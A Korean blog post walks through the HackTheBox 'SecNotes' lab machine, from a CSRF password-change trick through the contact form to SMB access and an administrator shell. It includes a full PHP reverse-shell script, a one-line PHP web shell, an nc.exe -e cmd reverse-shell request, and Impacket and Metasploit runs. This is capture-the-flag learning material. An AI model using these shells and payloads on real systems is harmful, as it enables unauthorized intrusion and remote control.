본문 바로가기

Hacking/HackTheBox

secnotes (win)

 

계정 존재 여부에 따라 차등한 메세지 보여짐

tyler 에게 contact 를 통해 질문가능함을 알 수 있음

 

tyler 계정 존재 여부 확인 가능

 

우선 xss 수행 해보는데, 수행 되지 않음

그냥  http://10.10.14.43 입력 시

C:\1000.penSW\netcat-win32-1.11\netcat-1.11>nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.36] from secnotes.htb [10.129.96.14] 62908
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.228
Host: 10.10.14.36
Connection: Keep-Alive

 

신기하다..

비밀번호 변경 씬, 원래 post 구문으로 보내는 것을

 

GET으로 변경 요청 시에도 비밀번호 변경 가능

 

POST /contact.php HTTP/1.1
Host: secnotes.htb
Content-Length: 163
Cache-Control: max-age=0
Accept-Language: ko-KR
Upgrade-Insecure-Requests: 1
Origin: http://secnotes.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://secnotes.htb/contact.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=7jv04do7de15i45tv97jo04jju
Connection: keep-alive

message=http%3A%2F%2Fsecnotes.htb%2Fchange_pass.php%3Fpassword%3DQhdkswp2%26confirm_password%3DQhdkswp2%26submit%3Dsubmit%0D%0Ahttp%3A%2F%2F10.10.14.43&submit=Send

 

컨택트에 위와 같이 메세지 작성 시

로그인 수행 성공

 

위의 smb 접속정보로 smbclient이용해서 접속 수행

┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# smbclient //secnotes.htb/new-site -U tyler
Password for [WORKGROUP\tyler]:
Try "help" to get a list of possible commands.
smb: \>

위의 얻은 계정정보로, smb 로그인 수행

 

해당 파일은 iss 시작 페이지이다~ 

여기다 reverseshell 올리면 되겠다 싶음

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.43';
$port = 3333;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; powershell -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

uname 을 사용하지 않는 다른 리버스 쉘로 시도~!

smb: \> put reverse2.php reverse2.php
putting file reverse2.php as \reverse2.php (6.6 kb/s) (average 4.7 kb/s)
smb: \> ls
  .                                   D        0  Mon Aug  5 21:02:20 2024
  ..                                  D        0  Mon Aug  5 21:02:20 2024
  iisstart.htm                        A      696  Fri Jun 22 00:26:03 2018
  iisstart.png                        A    98757  Fri Jun 22 00:26:03 2018
  reverse.php                         A     2707  Mon Aug  5 20:58:28 2024
  reverse2.php                        A     9471  Mon Aug  5 21:02:21 2024

                7736063 blocks of size 4096. 3396806 blocks available
smb: \> ls
  .                                   D        0  Mon Aug  5 21:02:39 2024
  ..                                  D        0  Mon Aug  5 21:02:39 2024
  iisstart.htm                        A      696  Fri Jun 22 00:26:03 2018
  iisstart.png                        A    98757  Fri Jun 22 00:26:03 2018

                7736063 blocks of size 4096. 3396810 blocks available
smb: \> put reverse2.php reverse2.php
putting file reverse2.php as \reverse2.php (8.2 kb/s) (average 5.7 kb/s)
smb: \>

 

파일이 사라진다 언능 해야한다.!

 

쉘도 금방 끊어지네.. 권한도 web 권한이고..

└─# smbexec.py secnotes.htb/tyler@10.129.57.225
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
└─# wmiexec.py secnotes.htb/tyler@10.129.57.225
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] SMBv3.0 dialect used
└─# psexec.py secnotes.htb/tyler@10.129.57.225
\Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Requesting shares on 10.129.57.225.....
[-] share 'ADMIN$' is not writable.
[-] share 'C$' is not writable.
[*] Found writable share new-site
[*] Uploading file PtfEvbxm.exe
[*] Opening SVCManager on 10.129.57.225.....
[-] Error opening SVCManager on 10.129.57.225.....
[-] Error performing the installation, cleaning up: Unable to open SVCManager
┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# crackmapexec smb 10.129.57.225 --shares
SMB         10.129.57.225   445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# msfconsole
Metasploit tip: Search can apply complex filters such as search cve:2009
type:exploit, see all the filters with help search


 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.129.57.225
RHOST => 10.129.57.225
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.14.43
LHOST => 10.10.14.43
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 3333
LPORT => 3333
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[-] Handler failed to bind to 10.10.14.43:3333:-  -
[*] Started reverse TCP handler on 0.0.0.0:3333
[*] 10.129.57.225:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.129.57.225:445     - Host does NOT appear vulnerable.
[*] 10.129.57.225:445     - Scanned 1 of 1 hosts (100% complete)
[-] 10.129.57.225:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
<?php system($_GET['cmd']); ?>

 

 

http://secnotes.htb:8808/reverse4.php?cmd=nc.exe+10.10.14.52+3333+-e+cmd

인터렉티브 쉘 생성

 

권한상승

노감자~

SeShutdownPrivilege (시스템 종료 권한)

시스템을 종료하거나 다시 시작할 수 있는 권한입니다. 이는 직접적인 권한 상승과는 관련이 없지만, 다른 사용자들의 작업을 방해할 수 있습니다.

SeChangeNotifyPrivilege (탐색 체크 통과)

디렉터리를 탐색할 수 있는 권한입니다. 직접적인 권한 상승에는 유용하지 않지만, 파일 시스템 탐색을 보다 자유롭게 할 수 있습니다.

SeUndockPrivilege (도킹 스테이션에서 컴퓨터 제거)

도킹 스테이션에서 시스템을 제거할 수 있는 권한입니다. 이는 권한 상승과 직접적인 관련은 없습니다.

SeIncreaseWorkingSetPrivilege (프로세스 작업 집합 증가)

프로세스의 메모리 사용량을 증가시킬 수 있는 권한입니다. 이는 메모리 관련 공격에 이용될 수 있지만, 직접적인 권한 상승 방법은 아닙니다.

SeTimeZonePrivilege (시간대 변경)

시스템의 시간대를 변경할 수 있는 권한입니다. 이는 권한 상승과 직접적인 관련은 없습니다.

C:\inetpub\new-site>schtasks /create /tn "PrivilegeEscalation" /tr "cmd.exe" /sc once /st 21:12 /ru SYSTEM
schtasks /create /tn "PrivilegeEscalation" /tr "cmd.exe" /sc once /st 21:12 /ru SYSTEM
ERROR: Access is denied.

스케줄러 등록 불가능~

 

C:\Users\tyler>sc query
sc query
[SC] OpenSCManager FAILED 5:

Access is denied.

C:\Users\tyler>tasklist
tasklist
ERROR: Access denied

sc query 불가능, tasklist 불가능

 

해당 os 는 wsl 사용 중이며, 기존 wsl 에서 bash history 검색을 통해 admin 정보 확보 가능

 

┌──(root㉿BOOK-2S941CKO4U)-[/home/surckers]
└─# smbexec.py secnotes.htb/administrator@10.129.187.28
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[!] Launching semi-interactive shell - Careful what you execute
C:\WINDOWS\system32>whoami
nt authority\system

C:\WINDOWS\system32>

impacket 에 smbexec 로 administrator 쉘 획득!

CD 명령어 불가능하여, type으로 직접 경로 쳐서 flag 획득... 할수도 있지만

 

nc.exe 를 업로드 하여, 리버스 쉘 획득 한다.

 

curl 이용

80 서버 띄우고,

User 연결 시와 똑같은 방법을 사용하여,

 

 

정말 root 획득!!

'Hacking > HackTheBox' 카테고리의 다른 글

Devel (win)  (2) 2024.10.23
MonitorsThree (Linux · Medium)  (1) 2024.09.25
permx (Linux)  (2) 2024.07.23
Jeeves (win)  (2) 2024.07.02
Union (Linux)  (1) 2024.06.27